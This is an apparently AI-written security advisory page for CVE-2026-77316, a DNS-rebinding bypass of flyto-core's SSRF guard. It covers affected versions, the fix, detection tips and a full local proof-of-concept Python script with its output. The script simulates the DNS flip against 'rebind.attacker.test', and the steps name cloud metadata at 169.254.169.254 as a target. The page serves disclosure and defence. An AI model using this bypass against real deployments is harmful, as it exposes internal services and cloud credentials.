CVE-2026-77316: Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)
flyto-core's SSRF guard, `validate_url_ssrf`, can be bypassed with DNS rebinding. It resolves the hostname to check it, then aiohttp resolves it again to connect, so an attacker's DNS can answer public first and a private address second. Versions up to 2.26.7 are affected. Upgrade to 2.26.8, which pins the validated IP.
Published Nov 20, 2026 · Analysis Nov 20, 2026
What an attacker can do
validate_url_ssrf() in src/core/utils.py calls socket.getaddrinfo() and rejects the URL if any result is private. It returns the URL string with the hostname intact. The caller, guarded_aiohttp_request, then passes that hostname to aiohttp, which runs its own, separate DNS lookup at connect time. Nothing ties the two lookups together.
An attacker who runs authoritative DNS for a domain with TTL 0 answers the guard's lookup with a public address and the connection's lookup with 127.0.0.1 or 169.254.169.254. The request then reaches internal services or cloud metadata. Redirect revalidation does not help, because the first hop already rebinds. Listing several A records does not work either, since the guard rejects any private record.
The flaw reaches every module that uses the guard, including http.get, http.request, http.batch, graphql.query, monitor.http_check, the Slack, Discord and Teams notification modules, ai.vision_analyze and browser.proxy_rotate. The attacker must be able to supply a URL to one of those modules, for example through a recipe or MCP execute_module, and control a DNS zone. That is why attack complexity is high and the severity is lower than a plain SSRF.
Who is affected
flyto-core (PyPI) up to and including 2.26.7. Check your version:
pip show flyto-coreExposure depends on whether an untrusted party can choose the URL for an outbound module, such as through user-supplied recipes or tool calls from an agent. A deployment that only calls fixed, trusted URLs has little exposure.
flyto-core
- Ecosystem
- PyPI
- Affected
- <= 2.26.7
- Fixed in
- 2.26.8
- Check
pip show flyto-core
How to fix it
Upgrade to flyto-core 2.26.8:
pip install --upgrade flyto-corePer the release notes, outbound modules now pin the validated IP address through a guarded aiohttp resolver, which closes the gap between check and connect. The fix commit is bf748df864d348004cf45d830bc59f62c5c4a58a. The release also fixes other flyto-core advisories. The sources give no other workaround. Until you upgrade, restrict egress from the host so it cannot reach metadata and internal ranges.
How to tell if you were hit
Check DNS logs for hostnames with very low TTLs that resolve to both public and private or loopback addresses. Check egress and flow logs from the flyto-core host for connections to 127.0.0.1, RFC 1918 ranges or 169.254.169.254 that were started by outbound modules such as http.get. Review module and recipe logs for URLs on unfamiliar domains passed to the guarded modules. For cloud hosts, look for metadata credentials used from unexpected places.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
[MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning
- CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU).
- CVSS v3.1:
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N= 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254). - Affected component:
flyto-core(PyPIflyto-core), HEADae2b38e(v2.26.7).src/core/utils.py::validate_url_ssrf(resolution atgetaddrinfo~L512,is_private_ipcheck ~L515) and every consumer:guarded_aiohttp_request(),enforce_outbound_url()/validate_url_with_env_config()— i.e.http.get/request/batch,graphql.query/mutation,monitor.http_check,notification.{slack,discord,teams},ai.vision_analyze,verify.visual_diff,browser.proxy_rotate, etc. - Relationship: Incomplete hardening of the SSRF-guard family (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.
Root cause
validate_url_ssrf() resolves the hostname with socket.getaddrinfo() and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (guarded_aiohttp_request: validate_url_with_env_config(url) then session.request(method, url, ...)) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's socket.getaddrinfo, so the two lookups are genuinely separate — one flip is sufficient.
Reachability
- Attacker controls DNS for
rebind.attacker.test(TTL 0), and drives any guarded HTTP module withurl=http://rebind.attacker.test/(recipe / MCPexecute_module). - Guard:
getaddrinfo→ public IP →is_private_ipfalse → URL allowed. - Outbound request: aiohttp re-resolves
rebind.attacker.test→ attacker now answers127.0.0.1/169.254.169.254→ connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.
Executable PoC (benign, local; deterministic)
The attacker's TTL=0 flip is modelled by making socket.getaddrinfo return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.
# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS; connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/") # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080)) # lands on 127.0.0.1 sentinelObserved output:
[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)Adversarial re-read
- Is the getaddrinfo monkeypatch cheating? No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable:
validate_url_with_env_config(url)resolves once, thensession.request(url)resolves again with no pin. - Does aiohttp's DNS cache prevent it? No — the guard's
socket.getaddrinfoand aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's. - Does redirect revalidation (GHSA-c9hr) block it? No — the first hop rebinds before any redirect.
- Multiple A records? The guard loops all
getaddrinforesults and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does. - Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).
Remediation
Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom resolver/TCPConnector (or set the Host header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in guarded_aiohttp_request. Alternatively, use a resolver wrapper that validates inside the connect path.
Confidence
High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.
Proof-of-Concept source (poc_dns_rebinding.py)
"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError
# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
try:
srv.bind(("127.0.0.1", _p)); break
except OSError:
continue
else:
raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
try:
c,_ = srv.accept(); hit["internal"] = True; c.close()
except OSError:
pass
threading.Thread(target=accept_once, daemon=True).start()
HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW
# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
if host == HOST:
calls["n"] += 1
ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo
# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
validate_url_ssrf(f"http://{HOST}:{PORT}/")
print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
print("[guard] blocked (rebinding not effective):", e); sys.exit(0)
# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
if hit["internal"] else "NOT CONFIRMED")
srv.close()
Credited to Pig-Tail.
Questions
- Why is this rated lower than a plain SSRF?
It needs attacker-controlled DNS with a low TTL that flips its answer between the guard's lookup and the connection's lookup. That is why the CVSS vector has high attack complexity.
- Does redirect checking stop it?
No. The first request already connects to the rebound internal address, before any redirect occurs.
- Which flyto-core version fixes CVE-2026-77316?
2.26.8. Versions up to and including 2.26.7 are vulnerable.
- Is CVE-2026-77316 exploited in the wild?
No source we read reports exploitation, and no CISA KEV flag is set. The reporter's proof of concept simulates the DNS flip locally.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-77312
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)
critical10.0Nov 20, 2026CVE-2026-77313
Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU
high7.1Nov 20, 2026CVE-2026-77315
Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation
high8.5Nov 20, 2026CVE-2026-67424
Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation
high8.5Jul 30, 2026CVE-2026-67425
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
high8.6Jul 30, 2026CVE-2026-67426
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
critical9.3Jul 30, 2026
